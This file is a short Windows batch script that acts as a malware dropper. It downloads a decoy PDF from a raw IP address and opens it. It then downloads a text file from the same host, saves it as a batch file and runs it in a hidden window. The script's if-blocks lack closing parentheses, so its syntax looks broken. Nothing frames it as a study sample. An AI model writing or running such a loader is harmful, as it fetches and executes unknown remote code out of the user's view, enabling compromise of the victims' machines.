@echo off
setlocal
:: Define temp directory
set temp_dir=%TEMP%
:: Check if PowerShell is available
where powershell >nul 2>nul
if errorlevel 1 (
echo PowerShell is not available. Please install PowerShell or use another method to download files.
exit
:: Download and run the first file using PowerShell
set file1_url=http://18.181.154.24/rv/file.pdf
set file1_name=%temp_dir%\file.pdf
echo Downloading %file1_url%...
powershell -Command "Invoke-WebRequest -Uri '%file1_url%' -OutFile '%file1_name%'"
if exist "%file1_name%" (
echo File downloaded successfully: %file1_name%
start "" "%file1_name%" :: Use default handler for PDF
) else (
echo Failed to download the first file.
exit
:: Download and run the second file using PowerShell
set file2_url=http://18.181.154.24/rv/file.txt
set file2_name=%temp_dir%\file.bat
echo Downloading %file2_url%...
powershell -Command "Invoke-WebRequest -Uri '%file2_url%' -OutFile '%file2_name%'"
if exist "%file2_name%" (
echo File downloaded successfully: %file2_name%
powershell -Command Start-Process "%file2_name%" -WindowStyle Hidden
) else (
echo Failed to download the second file.
exit